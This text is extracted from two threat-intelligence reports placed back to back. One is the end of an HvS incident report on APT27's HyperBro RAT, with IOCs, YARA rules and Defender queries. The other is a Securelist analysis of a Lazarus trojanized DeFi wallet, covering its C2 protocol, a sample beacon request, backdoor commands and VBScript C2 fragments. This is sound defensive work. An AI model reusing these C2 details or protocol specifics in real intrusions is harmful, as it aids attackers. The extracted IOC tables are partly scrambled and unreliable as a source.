+for detection, are described in more detail in Section 7.
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+9 Detection of Emissary Pandas activities
+Indicators of Compromise (IOCs)
+The IOCs in this section were partially collected during the incident and partially gathered via OSINT
+research. If you plan to use these IOCs in your organization, we recommend copying them from our public
+GitHub Repository:
+https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27
+The repository also contains a MISP Event35 which is structured in MISP objects and comprises additional
+contextual information. All the IOCs are classified as TLP White.
+Category
+Type
+Value
+Comment
+Artifacts dropped
+named pipe
+testpipe
+HyperBro RAT - named pipe
+Artifacts dropped
+windefenders
+HyperBro RAT - persistence mechanism
+windefende-921919155
+Persistence mechanism of HyperBro RAT
+Network activity
+windowsservicename
+windowsservicename
+domain
+dataanalyticsclub.com
+Domain address used for C2 communication
+Network activity
+ip-dst
+34.90.207.23
+Network activity
+ip-dst
+103.79.77.200
+APT27 C2 used during Hafnium attacks
+reported by welivesecurity.com
+IP address used for C2 communication
+Network activity
+ip-dst
+104.168.236.46
+IP address used for C2 communication
+Network activity
+ip-dst
+193.203.203.26
+IP address used for C2 communication
+Network activity
+ip-dst
+74.119.194.153
+IP address used for C2 communication
+Network activity
+ip-dst
+87.98.190.184
+IP address used for C2 communication
+Network activity
+ip-dst
+107.148.131.210
+IP address used for C2 communication
+Network activity
+ip-dst
+35.187.148.253
+IP address used for C2 communication
+Network activity
+ip-dst
+103.79.78.48
+IP address used for C2 communication
+Network activity
+ip-dst
+45.77.250.141
+IP address used for C2 communication
+Network activity
+domain
+image.dataanalyticsclub.com
+Domain address used for C2 communication
+Network activity
+domain
+avatars.dataanalyticsclub.com
+Domain address used for C2 communication
+Network activity
+domain
+fonts.dataanalyticsclub.com
+Network activity
+/api/v2/ajax
+PassiveTotal First 2021-11-10 Last 2022-0103
+Malicious endpoint on C2 servers
+Network activity
+https://107.148.131.210/api/v2/ajax
+URL used for C2 communication
+Network activity
+http://35.187.148.253/api/v2/ajax
+URL used for C2 communication
+Network activity
+text
+HyperBro RAT - user agent
+Payload delivery
+filename
+Payload delivery
+filename
+Payload delivery
+filename
+Payload delivery
+filename
+Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/53
+7.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/5
+37.36
+%PROGRAMFILES%\Common Files\windefenders\vftrace.
+%PROGRAMFILES%\Common Files\windefenders\thumb.
+%PROGRAMFILES%\Common Files\windefenders\config.i
+%PROGRAMFILES%\Common Files\vfhost\VFTRACE.DLL
+Artifacts dropped
+HyperBro RAT - Stage 1
+HyperBro RAT - Stage 2
+File containing GUID created upon HyperBro
+execution
+HyperBro RAT - Stage 1
+https://www.misp-project.org/
+ HvS-Consulting AG 2022
+Page 31 of 38
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Category
+Type
+Value
+Comment
+Payload delivery
+filename
+Payload delivery
+filename
+%PROGRAMFILES%\Common
+Files\windefenders\msmpeng.exe
+vftrace.dll
+HyperBro RAT - legit CyberArk Software
+binary used for side-loading
+HyperBro RAT - Stage 1
+Payload delivery
+filename
+thumb.dat
+HyperBro RAT - Stage 2
+Payload delivery
+filename
+config.ini
+Payload delivery
+filename
+msmpeng.exe
+Payload delivery
+filename
+rar.exe
+File containing GUID created upon HyperBro
+execution
+HyperBro RAT - legit CyberArk Software
+binary used for side-loading
+Rar.exe (WinRar)
+Payload delivery
+imphash
+182f35372e9fd050b6e0610238bcd9fd
+HyperBro RAT - Stage 1
+Payload delivery
+7655ff65f74f08ee2c54f44e5ef8f098
+HyperBro RAT - Stage 1
+Payload delivery
+fa0b6ff0898acaa50563c1cb89524fcf
+HyperBro RAT - Stage 1
+Payload delivery
+3a528cc7cfa7d7cd338c285839c3c727
+HyperBro RAT - Stage 2
+Payload delivery
+84f09d192ec90542ede22c370836ffa6
+HyperBro RAT - Stage 2
+Payload delivery
+832415bba4378181e3c975f247b9d0e8
+HyperBro RAT - Stage 1
+Payload delivery
+42be134aeca1d88024b0d1baac0726d2
+HyperBro RAT - Stage 1
+Payload delivery
+161d3039d7ee393820acab012f4cc85e
+HyperBro RAT - Stage 1
+Payload delivery
+061b1d1378c06f9ed46b00fe202f39d8
+HyperBro RAT - Stage 2
+Payload delivery
+4896a86615ef6835861404bb63a97d7a
+HyperBro RAT - Stage 2
+Payload delivery
+4109ac08bdc8591c7b46348eb1bca85d
+Payload delivery
+0af2e05abc0ea27d33aa92fc2924655a
+HyperBro RAT - legit CyberArk Software
+binary used for side-loading
+Rar.exe (WinRar)
+Payload delivery
+60d5648d35bacf5c7aa713b2a0d267d3
+Rar.exe (WinRar)
+Payload delivery
+5c1c0bfdf0b3abcf4872b605dbea8b1a
+HyperBro RAT - Stage 3
+Payload delivery
+80df708149bc7d2b19afd698def598f5
+HyperBro RAT - Stage 2 (decrypted)
+Payload delivery
+sha1
+3c7beb8978feac9ba8f5bab0656242232471bf7d
+HyperBro RAT - Stage 1
+Payload delivery
+sha1
+e0d6fcdf23c06c8e8016b0c93a1072c4bab0b659
+HyperBro RAT - Stage 1
+Payload delivery
+sha1
+0dfbbaf0267d79bbe15b1f5a78e1f1bcceea99ca
+HyperBro RAT - Stage 2
+Payload delivery
+sha1
+7fb23c6b4db90b55694bdd1cc5c1b4c706a4e181
+HyperBro RAT - Stage 2
+Payload delivery
+sha1
+7d92970e8394b20b887bf2de60408da15e260d9f
+HyperBro RAT - Stage 1
+Payload delivery
+sha1
+ba2ba390a13938de4d176addd7417ad9a1df2715
+HyperBro RAT - Stage 1
+Payload delivery
+sha1
+6043a8e4f14ac398fd25c10f20d01ba00eb22883
+HyperBro RAT - Stage 1
+Payload delivery
+sha1
+0acea28ddbfb86dc335c295475e5c9a2338bf4e3
+HyperBro RAT - Stage 2
+Payload delivery
+sha1
+95739e00e606e8e7a5c2f658b05820db7ee51910
+HyperBro RAT - Stage 2
+Payload delivery
+sha1
+6423d1c324522bfd2b65108b554847ac4ab02479
+Payload delivery
+sha1
+755b979293a43e3a5de23933f35ec6a94b0971ee
+HyperBro RAT - legit CyberArk Software
+binary used for side-loading
+Rar.exe (WinRar)
+Payload delivery
+sha1
+a62af4ac233d914a25e79ec0705e2a187ebd7567
+Rar.exe (WinRar)
+Payload delivery
+sha1
+6d24b289ab4819774ac250d5d4f024e9dee7579c
+HyperBro RAT - Stage 3
+Payload delivery
+sha1
+d3cc018a28b39698bfa486f6e505be4c68573af0
+HyperBro RAT - Stage 2 (decrypted)
+Payload delivery
+sha256
+HyperBro RAT - Stage 1
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7
+e0f4a30d008e22a7
+5aa4dffee6acd65092ddaf7192c1009befd14eb079e694f1
+32707dcda22f9e7f
+2ca4181d958369ff92121700c681442664454b0ec4f7942
+984611cc64caeca61
+f2ba8b8aabf73020febd3a925276d52ce88f295537fe5772
+3df714c13f5a8780
+333b52c2cfac56b86ee9d54aef4f0ff4144528917bc1aa1fe
+1613efc2318339a
+847fce4a6c3561f51bb94dc682a16908d4ce5b0cf9d4315d
+b6d642ad2a94f8bc
+205aa1007e97a58ecb6e9f9a143ed7d337de98864d566d
+8f6967a9496beff815
+ HvS-Consulting AG 2022
+HyperBro RAT - Stage 1
+HyperBro RAT - Stage 2
+HyperBro RAT - Stage 2
+HyperBro RAT - Stage 1
+HyperBro RAT - Stage 1
+HyperBro RAT - Stage 1
+Page 32 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Category
+Type
+Value
+Comment
+Payload delivery
+sha256
+HyperBro RAT - Stage 2
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+sha256
+Payload delivery
+x509fingerprintsha1
+regkey
+fd15d8bf6dd3858897dbc352b64577fd73cfd7ba4c3e4c7e
+77a070fa43264216
+ba3a9382c0e5857f496e998635f8ba0ae2aedf4782defcbe
+204eaeea5c7e8e24
+df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15
+edbe28dcecb2a348
+8c4b78ee13c6c7639086b46efdcdebf0cac37ab87fef99ab
+2c7a72f217b5b03c
+4b16ea1b1273f8746cf399c71bfc1f5bff7378b5414b4ea04
+4c55e0ee08c89d3
+624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2
+e2a5683a04e36213e8
+fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6
+a5ef46f6eff67ed
+7cb43e5c475d7f369fb090e9a79fe1f841bd1309
+SOFTWARE\WOW6432Node\Microsoft\config_
+HyperBro RAT - registry key used to persist
+C2 config
+HyperBro RAT - persistence mechanism
+Persistence
+mechanism
+Persistence
+mechanism
+regkey
+ HvS-Consulting AG 2022
+HKCU\Software\Microsoft\Windows\CurrentVersion\Run
+\windefenders
+HyperBro RAT - Stage 2
+HyperBro RAT - legit CyberArk Software
+binary used for side-loading
+Rar.exe (WinRar)
+Rar.exe (WinRar)
+HyperBro RAT - Stage 3
+HyperBro RAT - Stage 2 (decrypted)
+HyperBro RAT - legit CyberArk Software
+binary used for side-loading
+Page 33 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+9.2 YARA Rules
+The following YARA rules can be used for the detection of the HyperBro malware. Alternatively, you can
+use the THOR APT Scanner 36 since it already includes these YARA detection rules as well as many more.
+The YARA rules were also published in our GitHub repository. One additional rule can be found there,
+which was too bulky for this report:
+https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27
+rule HvS_APT27_HyperBro_Decrypted_Stage2 {
+meta:
+description = "HyperBro Stage 2 and compressed Stage 3 detection"
+license = "https://creativecommons.org/licenses/by-nc/4.0/"
+author = "Moritz Oettle"
+reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+date = "2022-02-07"
+hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
+strings:
+$lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 } // This is the lznt1 compressed PE header
+$lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 }
+$lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
+$lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
+$lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
+$lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
+$lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }
+condition:
+filesize < 200KB and
+($lznt1_compressed_pe_header_small at 0x9ce) or (all of ($lznt1_compressed_pe_header_large_*))
+https://www.nextron-systems.com/thor/
+ HvS-Consulting AG 2022
+Page 34 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+rule HvS_APT27_HyperBro_Stage3 {
+meta:
+description = "HyperBro Stage 3 detection - also tested in memory"
+license = "https://creativecommons.org/licenses/by-nc/4.0/"
+author = "Markus Poelloth"
+reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+date = "2022-02-07"
+hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+strings:
+$s1 = "\\cmd.exe /A" fullword wide
+$s2 = "vftrace.dll" fullword wide
+$s3 = "msmpeng.exe" fullword wide
+$s4 = "\\\\.\\pipe\\testpipe" fullword wide
+$s5 = "thumb.dat" fullword wide
+$g1 = "%s\\%d.exe" fullword wide
+$g2 = "https://%s:%d/api/v2/ajax" fullword wide
+$g3 = " -k networkservice" fullword wide
+$g4 = " -k localservice" fullword wide
+condition:
+uint16(0) == 0x5a4d and filesize < 300KB and
+(( 4 of ($s*) ) or (4 of ($g*)))
+rule HvS_APT27_HyperBro_Stage3_C2 {
+meta:
+description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory"
+license = "https://creativecommons.org/licenses/by-nc/4.0/"
+author = "Marc Stroebel"
+reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+date = "2022-02-07"
+hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+strings:
+$s1 = "api/v2/ajax" ascii wide nocase
+$s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116
+Safari/537.36" ascii wide nocase
+condition:
+all of them
+ HvS-Consulting AG 2022
+Page 35 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+rule HvS_APT27_HyperBro_Stage3_Persistence {
+meta:
+description = "HyperBro Stage 3 registry keys for persistence"
+license = "https://creativecommons.org/licenses/by-nc/4.0/"
+author = "Marko Dorfhuber"
+reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+date = "2022-02-07"
+hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+strings:
+$ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii
+$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii
+condition:
+1 of them
+9.3 Defender Detection Rules
+// description: Detects pipe of HyperBro used for IPC
+// license: https://creativecommons.org/licenses/by-nc/4.0/
+// author: Markus Poelloth
+// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
+// date: 2022-02-07
+DeviceEvents
+| where ActionType == "NamedPipeEvent" and AdditionalFields contains "testpipe"
+// description: Detects big newly created rar files, as used by Emissary Panda for collection
+// license: https://creativecommons.org/licenses/by-nc/4.0/
+// author: Moritz Oettle
+// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
+// date: 2022-02-07
+DeviceFileEvents
+| where ActionType == 'FileCreated'
+| where FileName endswith ".rar"
+| where FileSize > 5000000000 // 5 GB
+| sort by FileSize desc
+ HvS-Consulting AG 2022
+Page 36 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+// description: Detects C2 network events used by Emissary Panda
+// license: https://creativecommons.org/licenses/by-nc/4.0/
+// author: Marc Stroebel
+// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
+// date: 2022-02-07
+let IPs = pack_array("87.98.190.184", "34.90.207.23", "103.79.77.200", "104.168.236.46", "193.203.203.26",
+"103.79.78.48", "35.187.148.253", "107.148.131.210", "45.77.250.141", "74.119.194.153");
+let C2s = pack_array("dataanalyticsclub.com", "image.dataanalyticsclub.com", "fonts.dataanalyticsclub.com",
+"avatars.dataanalyticsclub.com");
+DeviceNetworkEvents
+| where RemoteIP in(IPs) or RemoteUrl in (C2s)
+// description: Detects commands used by Emissary Panda
+// notes: might be prone to false positives
+// license: https://creativecommons.org/licenses/by-nc/4.0/
+// author: Marko Dorfhuber
+// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
+// date: 2022-02-07
+DeviceProcessEvents
+| where InitiatingProcessCommandLine == @"cmd.exe /A"
+// description: Detects event that loads the malicious DLL of Emissary Panda based on name
+// notes: might be prone to false positives
+// license: https://creativecommons.org/licenses/by-nc/4.0/
+// author: Moritz Oettle
+// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
+// date: 2022-02-07
+DeviceImageLoadEvents
+| where ActionType == "ImageLoaded" and FileName contains "VFTRACE.DLL"
+ HvS-Consulting AG 2022
+Page 37 of 38
+Lazarus Trojanized DeFi app for delivering malware
+securelist.com/lazarus-trojanized-defi-app/106195
+Authors
+GReAT
+For the Lazarus threat actor, financial gain is one of the prime motivations, with a particular emphasis on the cryptocurrency business. As the
+price of cryptocurrency surges, and the popularity of non-fungible token (NFT) and decentralized finance (DeFi) businesses continues to swell,
+the Lazarus group
+s targeting of the financial industry keeps evolving.
+We recently discovered a Trojanized DeFi application that was compiled in November 2021. This application contains a legitimate program
+called DeFi Wallet that saves and manages a cryptocurrency wallet, but also implants a malicious file when executed. This malware is a fullfeatured backdoor containing sufficient capabilities to control the compromised victim. After looking into the functionalities of this backdoor,
+we discovered numerous overlaps with other tools used by the Lazarus group.
+The malware operator exclusively used compromised web servers located in South Korea for this attack. To take over the servers, we worked
+closely with the KrCERT and, as a result of this effort, we had an opportunity to investigate a Lazarus group C2 server. The threat actor
+configured this infrastructure with servers set up as multiple stages. The first stage is the source for the backdoor while the goal of the second
+stage servers is to communicate with the implants. This is a common scheme used in Lazarus infrastructure.
+Background
+In the middle of December 2021, we noticed a suspicious file uploaded to VirusTotal. At first glance, it looked like a legitimate application
+related to decentralized finance (DeFi); however, looking closer we found it initiating an infection scheme. When executed, the app drops both
+a malicious file and an installer for a legitimate application, launching the malware with the created Trojanized installer path. Then, the
+spawned malware overwrites the legitimate application with the Trojanized application. Through this process, the Trojanized application gets
+removed from the disk, allowing it to cover its tracks.
+Infection timeline
+Initial infection
+While it
+s still unclear how the threat actor tricked the victim into executing the Trojanized application (0b9f4612cdfe763b3d8c8a956157474a),
+we suspect they sent a spear-phishing email or contacted the victim through social media. The hitherto unknown infection procedure starts
+with the Trojanized application. This installation package is disguised as a DeFi Wallet program containing a legitimate binary repackaged with
+the installer.
+Upon execution, it acquires the next stage malware path (C:\ProgramData\Microsoft\GoogleChrome.exe) and decrypts it with a one-byte XOR
+(Key: 0x5D). In the process of creating this next malware stage, the installer writes the first eight bytes including the 
+ header to the file
+GoogleChrome.exe and pushes the remaining 71,164 bytes from the data section of the Trojanized application. Next, the malware loads the
+resource CITRIX_MEETINGS from its body and saves it to the path C:\ProgramData\Microsoft\CM202025.exe. The resulting file is a
+legitimate DeFi Wallet application. Eventually, it executes the previously created malware with its file name as a parameter:
+C:\ProgramData\Microsoft\GoogleChrome.exe 
+[current file name]
+Malware creation diagram
+Backdoor creation
+The malware (d65509f10b432f9bbeacfc39a3506e23) generated by the above Trojanized application is disguised as a benign instance of the
+Google Chrome browser. Upon launch, the malware checks if it was provided with one argument before attempting to copy the legitimate
+application 
+C:\ProgramData\Microsoft\CM202025.exe
+ to the path given as the command line parameter, which means overwriting the
+original Trojanized installer, almost certainly in an attempt to conceal its prior existence. Next, the malware executes the legitimate file to
+deceive the victim by showing its benign installation process. When the user executes the newly installed program, it shows the DeFi Wallet
+software built with the public source code[1].
+Screenshot of the manipulated application
+Next, the malware starts initializing the configuration information. The configuration shows the structure shown in the table below, consisting
+of flags, C2 server addresses, victim identification value, and time value. As the structure suggests, this malware can hold up to five C2
+addresses, but only three C2 servers are included in this case.
+Offset
+Length(bytes)
+Description
+0x00
+Flag for starting C2 operation
+0x04
+Random value to select C2 server
+0x08
+Random value for victim identifier
+0x0C
+0x208
+C2 server address
+0x214
+0x208
+C2 server address
+0x41C
+0x208
+C2 server address
+0x624
+0x208
+C2 server address
+0x82C
+0x208
+C2 server address
+0xA34
+0x464
+Buffer for system information
+0xE98
+0x400
+Full cmd.exe path
+0x1298
+0x400
+Temporary folder path
+0x1698
+Time to start backdoor operation
+0x16A0
+Time interval
+0x16A4
+Flag for gathering logical drives
+0x16A8
+Flag for enumerating session information
+0x16B0
+The time value for gathering logical drive and session information
+The malware randomly chooses a C2 server address and sends a beacon signal to it. This signal is a hard-coded 
+0x60D49D94
+ DWORD
+without encryption; the response data returned from the C2 carries the same value. If the expected value from the C2 server is received, the
+malware starts its backdoor operation.
+Following further communication with the C2, the malware encrypts data by a predefined method. The encryption is done via RC4 and the
+hard-coded key 0xD5A3 before additionally being encoded with base64.
+The malware generates POST parameters with hard-coded names. The request type (msgID), victim identification value, and a randomly
+generated value are merged into the 
+jsessid
+ parameter. It also uses the 
+cookie
+ parameter to store four randomly generated four-byte values.
+These values are again encrypted with RC4 and additionally base64 encoded. Based on our investigation of the C2 script, we observed this
+malware not only uses a parameter named 
+jsessid
+, but also 
+jcookie
+ as well.
+Structure of 
+jsessid
+ parameter
+The following HTTP request shows the malware attempting to connect to the C2 with the request type 
+60d49d98
+ and a randomly generated
+cookie value.
+POST /include/inc.asp HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
+3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
+Host: emsystec.com
+Content-Length: 80
+Cache-Control: no-cache
+jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1
+Depending on the response from the C2, the malware performs its instructed backdoor task. It carries various functionalities to gather system
+information and control the victim machine.
+Command
+Description
+0x60D49D97
+Set time configuration with the current time interval (default is 10) value
+0x60D49D9F
+Set time configuration with delivered data from C2 server
+0x60D49DA0
+Gather system information, such as IP address, computer name, OS version, CPU architecture
+0x60D49DA1
+Collect drive information including type and free size
+0x60D49DA2
+Enumerate files (with file name, size, time)
+0x60D49DA3
+Enumerate processes
+0x60D49DA4
+Terminate process
+0x60D49DA5
+Change working directory
+0x60D49DA6
+Connect to a given IP address
+0x60D49DA7
+File timestamping
+0x60D49DA8
+Execute Windows command
+0x60D49DA9
+Securely delete a file
+0x60D49DAA
+Spawn process with CreateProcessW API
+0x60D49DAB
+Spawn process with CreateProcessAsUserW API
+0x60D49DAC
+Spawn process with high integrity level
+0x60D49DAD
+Download file from C2 server and save to given file path
+0x60D49DAE
+Send file creation time and contents
+0x60D49DAF
+Add files to .cab file and send it to the C2 server
+0x60D49DB0
+Collect a list of files at the given path
+0x60D49DB1
+Send the configuration to the C2 server
+0x60D49DB2
+Receive new configuration from the C2 server
+0x60D49DB3
+Set config to the current time
+0x60D49DB4
+Sleep 0.1 seconds and continue
+Infrastructure
+Lazarus only used compromised web servers located in South Korea in this campaign. As a result of working closely with the KrCERT in taking
+down some of them, we had a chance to look into the corresponding C2 script from one of the compromised servers. The script described in
+this section was discovered in the following path:
+http://bn-cosmo[.]com/customer/board_replay[.]asp
+The script is a VBScript.Encode ASP file, commonly used by the Lazarus group in their C2 scripts. After decoding, it shows the string
+60d49d95
+ as an error response code, whereas the string 
+60d49d94
+ is used as a success message. In addition, the connection history is saved
+to the file 
+stlogo.jpg
+ and the C2 address for the next stage is stored in the file 
+globals.jpg
+ located in the same folder.
+Configuration of C2 script
+This script checks what value is delivered in the 
+jcookie
+ parameter and, if it
+s longer than 24 characters, it extracts the first eight characters as
+msgID. Depending on the msgID value, it calls different functions. The backdoor command and command execution result delivered by the
+backdoor get stored to global variables. We have seen this scheme in operation before with the Bookcode[2] cluster. This script uses the
+following variables as flags and buffers to deliver data and commands between the backdoor and a second stage C2 server:
+lFlag: flag to signal that there is data to deliver to the backdoor
+lBuffer: buffer to store data to be later sent to the backdoor
+tFlag: flag to signal that there is a response from the backdoor
+tBuffer: buffer to store incoming data from the backdoor
+msgID
+Function
+name
+Description
+60d49d98
+TFConnect
+Save the 
+ value (victim identifier) to the log file, send 
+jcookie
+ value with the client
+s IP address after acquiring
+the next stage C2 address from the config file (globals.jpg). Forward the response from the next stage server to
+the client.
+60d49d99
+TConnect
+Deliver the command to the backdoor:
+If the lFlag is 
+true
+, send lBuffer to the client. Reset 
+lBuffer
+ and set lFlag to 
+false
+. Otherwise, reset 
+tBuffer
+ and
+set tFlag to 
+false
+60d49d9a
+LConnect
+Send the command and return the command execution result:
+Set 
+lBuffer
+ value to 
+jcookie
+ parameter, delivering 
+tBuffer
+ to the client.
+60d49d9c
+Check
+Retrieve host information (computer name, OS version). Delete the configuration file, which saves the C2
+s next
+stage address, if it exists. Then save the new configuration with delivered data through the 
+jcookie
+ parameter.
+60d49d9d
+LogDown
+Deliver log file after base64 encoding and then delete it.
+the others
+Write connections with unknown/unexpected msgID (request type) data to a log file, entries are tagged with
+xxxxxxxx
+Attribution
+We believe with high confidence that the Lazarus group is linked to this malware as we identified similar malware in the CookieTime cluster.
+The CookieTime cluster, called LCPDot by JPCERT, was a malware cluster that was heavily used by the Lazarus group until recently. We
+seen Lazarus group target the defence industry using the CookieTime cluster with a job opportunity decoy. We have already published several
+reports about this cluster to our Threat Intelligence Service customers, and we identified a Trojanized Citrix application
+(5b831eaed711d5c4bc19d7e75fcaf46e) with the same code signature as the CookieTime malware. The backdoor discovered in the latest
+investigation, and the previously discovered Trojanized application, are almost identical. They share, among other things, the same C2
+communication method, backdoor functionalities, random number generation routine and the same method to encrypt communication data.
+Also, this malware was mentioned in an article by Ahnlab discussing connections with the CookieTime (aka LCPDot) malware.
+Same backdoor switch of old CookieTime malware
+In turn, we identified that the CookieTime cluster has ties with the Manuscrypt and ThreatNeedle clusters, which are also attributed to the
+Lazarus group. This doesn
+t only apply to the backdoor itself, but also to the C2 scripts, which show several overlaps with the ThreatNeedle
+cluster. We discovered almost all function and variable names, which means the operators recycled the code base and generated corresponding
+C2 scripts for the malware.
+ThreatNeedle C2 script from
+roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp
+C2 script of this case
+functIon getIpAddress()
+fUnctioN GetIpAddress()
+On ErroR resume next
+ON Error Resume Next
+Dim ip
+Dim iP
+ip=Request.SErVervariables("HTTP_CLIENT_IP")
+ip=ReqUest.ServerVaRiables("HTTP_CLIENT_IP")
+If ip=""THen
+If ip=""THEn
+Ip=ReQUest.ServervaRiAbLes("HTTP_X_FORWARDED_FOR")
+iP=Request.SErverVariaBleS("HTTP_X_FORWARDED_FOR")
+If ip=""ThEn
+If ip=""then
+ip=request.ServerVaRiables("REMOTE_ADDR")
+ip=reQuest.ServErVariables("REMOTE_ADDR")
+End If
+EnD IF
+End if
+EnD If
+GEtIpAdDress=ip
+GEtipAddreSs=ip
+End FuNction
+End FUnction
+Almost identical scripts to fetch IP address of client
+ThreatNeedle C2 script from:
+edujikim[.]com/pay_sample/INIstart.asp
+C2 script of this case
+Sub writeDataToFile(strFileName, byData)
+Sub WritedatA(filepath,byData)
+Dim objFSO, objFile, strFilePath
+dim objFSO,oBJFile
+Const ForAppending = 8
+ConSt ForAppEnDing=8
+strFilePath = Server.MapPath(".") & "\" &
+strFileName
+objFsO=CreateObject("Scripting.FileSystemObject")
+Set objFSO =
+CreateObject("Scripting.FileSystemObject")
+objFIle=objFso.OpENTextFile(filepaTh,FoRAppending,True)
+Set objFile =
+objFilE.Write ByDatA
+objFSO.OpenTextFile(strFilePath,
+objFIle.CLose
+ForAppending, True)
+EnD Sub
+objFile.Write byData
+objFile.Close
+End Sub
+Similar scripts to save data to a file
+Conclusions
+In a previous investigation we discovered that the BlueNoroff group, which is also linked to Lazarus, compromised another DeFi wallet
+program called MetaMask. As we can see in the latest case, the Lazarus and BlueNoroff groups attempt to deliver their malware without
+drawing attention to it and have evolved sophisticated methods to lure their victims. The cryptocurrency and blockchain-based industry
+continues to grow and attract high levels of investment. For this reason, we strongly believe Lazarus
+s interest in this industry as a major source
+of financial gain will not diminish any time soon.
+Indicators of Compromise
+Trojanized DeFi application
+0b9f4612cdfe763b3d8c8a956157474a DeFi-App.exe
+Dropped backdoor
+d65509f10b432f9bbeacfc39a3506e23 %ProgramData%\Microsoft\GoogleChrome.exe
+Similar backdoor
+a4873ef95e6d76856aa9a43d56f639a4
+d35a9babbd9589694deb4e87db222606
+70bcafbb1939e45b841e68576a320603
+3f4cf1a8a16e48a866aebd5697ec107b
+b7092df99ece1cdb458259e0408983c7
+8e302b5747ff1dcad301c136e9acb4b0
+d90d267f81f108a89ad728b7ece38e70
+47b73a47e26ba18f0dba217cb47c1e16
+77ff51bfce3f018821e343c04c698c0e
+First stage C2 servers (Legitimate, compromised)
+hxxp://emsystec[.]com/include/inc[.]asp
+hxxp://www[.]gyro3d[.]com/common/faq[.]asp
+hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.]asp
+hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp
+hxxp://www[.]syadplus[.]com/search/search_00[.]asp
+hxxp://bn-cosmo[.]com/customer/board_replay[.]asp
+Second stage C2 servers (Legitimate, compromised)
+hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp
+hxxp://gyro3d[.]com/mypage/faq[.]asp
+MITRE ATT&CK Mapping
+This table contains all the TTPs identified in the analysis of the activity described in this report.
+Tactic
+Technique
+Technique Name
+Execution
+T1204.002
+User Execution: Malicious File
+Use Trojanized application to drop malicious backdoor
+Persistence
+T1547.001
+Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
+Register dropped backdoor to the Run registry key
+Defense Evasion
+T1070.004
+Indicator Removal on Host: File Deletion
+The Trojanized application overwrites itself after creating a legitimate application to remove its trace
+T1070.006
+Indicator Removal on Host: Timestomp
+Backdoor capable of timestomping specific files
+T1057
+Process Discovery
+List running processes with backdoor
+T1082
+System Information Discovery
+Gather IP address, computer name, OS version, and CPU architecture with backdoor
+T1083
+File and Directory Discovery
+List files in some directories with backdoor
+T1124
+System Time Discovery
+Gather system information with backdoor
+T1071.001
+Application Layer Protocol: Web Protocols
+Use HTTP as C2 channel with backdoor
+T1573.001
